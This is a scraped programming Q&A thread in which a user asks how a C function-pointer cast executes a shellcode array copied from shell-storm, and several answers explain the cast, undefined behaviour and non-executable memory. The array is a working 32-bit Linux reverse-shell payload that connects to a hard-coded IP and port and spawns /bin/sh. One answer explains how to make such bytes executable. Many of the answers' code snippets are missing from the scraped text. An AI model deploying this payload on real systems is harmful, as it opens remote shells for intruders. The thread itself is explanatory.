Here is a copy of code from shellstorm:
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
Could anyone help me explain this one "int (ret)() = (int()())code;" ? How does it work? Why it can make the code above run?
int (*ret)()
defines a pointer that points to a function which returnsint
and has unspecified number of arguments;(int(*)())code
is a type casting, let the other part could treatcode
as a function pointer, the same type asret
.By the way, depends on the contents of
code
, this code may only works on a specific CPU and OS combination, if it even works and all.declares a function pointer named
ret
; the function takes unspecified arguments and returns an integer.casts the
code
array to a function pointer of that same type.So this converts the address of the
code
array to a function pointer, which then allows you to call it and execute the code.Note that this is technically undefined behavior, so it doesn't have to work this way. But this is how practically all implementations compile this code. Shellcodes like this are not expected to be portable -- the bytes in the
code
array are dependent on the CPU architecture and stack frame layout.defines the function pointer
ret
as function returning anint
with an unspecified number of arguments.casts the
unsigned char
-arraycode
to the type of functionret
would refer to and assigns it toret
.This call
then executes the op-codes stored in
code
.All in all not a nice thing.
Your program will produce undefined behaviour. C99 spec, section 6.2.5, paragraph 27 says:
Further, in section 6.3.2.3, paragraph 8, it also says:
This means that you should not assign a function pointer to a non-function pointer because the size of a function pointer is not guaranteed to be the same as that of a
char
pointer or avoid
pointer. Now these things out of the way, let's come to your code.Let's first take the lhs. So it defines
ret
to be a pointer to a function which takes a fixed but unknown number and type of arguments (doesn't sound good). On the rhs, you are typecasting an arraycode
, which evaluates to a pointer to its first element to the same type asret
. This is undefined behaviour. Only a function pointer can be assigned to a function pointer, not a pointer to any other type for reasons explained above. Also,sizeof
operator may not be applied to a function pointer precisely because of this reason.In
C++
, empty parameter list meansvoid
, but that's not the case inC
where it means no information is available to check against argument list provided by the caller. Hence you must explicitly mentionvoid
. So you should better write that statement as, assuming now that you have a function namedcode
defined in your program.To simplify things about complex
C
declarations,typedef
might help.This defines a type
myfuncptr
to be of typepointer to a function taking no arguments and returning an int
. Next, we can define a variable ofmyfuncptr
type like we define a variable of any type inC
. However please note thatcode
must have the same signature as the type of the functionret
points to. If you cast a function pointer of any other type usingmyfuncptr
, it will cause undefined behaviour. Therefore, this makes typecasting redundant.A function name evaluates to a pointer when you assign it to, well, a function pointer of the same type. You don't need to use the address of operator
&
. Similarly, you can call the function pointed to by the pointer without dereferencing it first.Please read this for details - Casting a function pointer to another type. Here's a good resource on how to mentally parse complex
C
declaration - Clockwise/Spiral Rule. Also note that theC
standard lays down only two acceptable signature ofmain
:int (*)()
is the type of a pointer to a function with the following prototype:Because of the way the language is parsed and the precedence of the operators, one has to put the asterisk in brackets. Also when declaring a pointer variable of that type, the name of the variable goes after the asterisk and not after the type, e.g. it is not
but rather
In your case the
ret
variable is both being declared and initialised with a type cast involved.To call a function through a function pointer, you could either use the more elaborate syntax:
or the more simple one:
Using the former syntax is preferable since it gives indication to the reader of your code that
ret
is actually a pointer to a function and not the function itself.Now, in principle that code should not actually work. The
code[]
array is placed in the initialised data segment, which in most modern OSes is not executable, i.e. the callret();
should rather produce a segmentation fault. E.g. GCC on Linux places thecode
variable in the.data
section:and then the
.data
section goes into a non-executable read-write segment:The segment is missing the executable flag, i.e. it is only
RW
and notRWE
, therefore no code could be executed from that memory. And indeed, running the program results in a fault at the very first instruction stored incode
:To make it work, you could use a combination of
posix_memalign
andmprotect
to allocate a memory page and make it executable, then copy the content ofcode[]
there:Also note that the shell code uses
int 0x80
to call into the Linux kernel. This won't work out-of-the-box if the program is compiled on a 64-bit Linux system as there a different mechanism is used to make system calls.-m32
should be specified in that case to force the compiler generate a 32-bit executable.You should read a good C programming book.
int (*ret)()
declare a pointer to function returning anint
-without specifying arguments (in C)Then
= (int(*)())code;
is initializingret
with the casted address ofcode
.At last
ret();
is calling that function pointer, hence invoking the machine code in yourcode
array.BTW, the compiler (and the linker) might put
code
in a read-only but non-executable segment (this perhaps depends upon how your program was linked). And then your shell code might not work.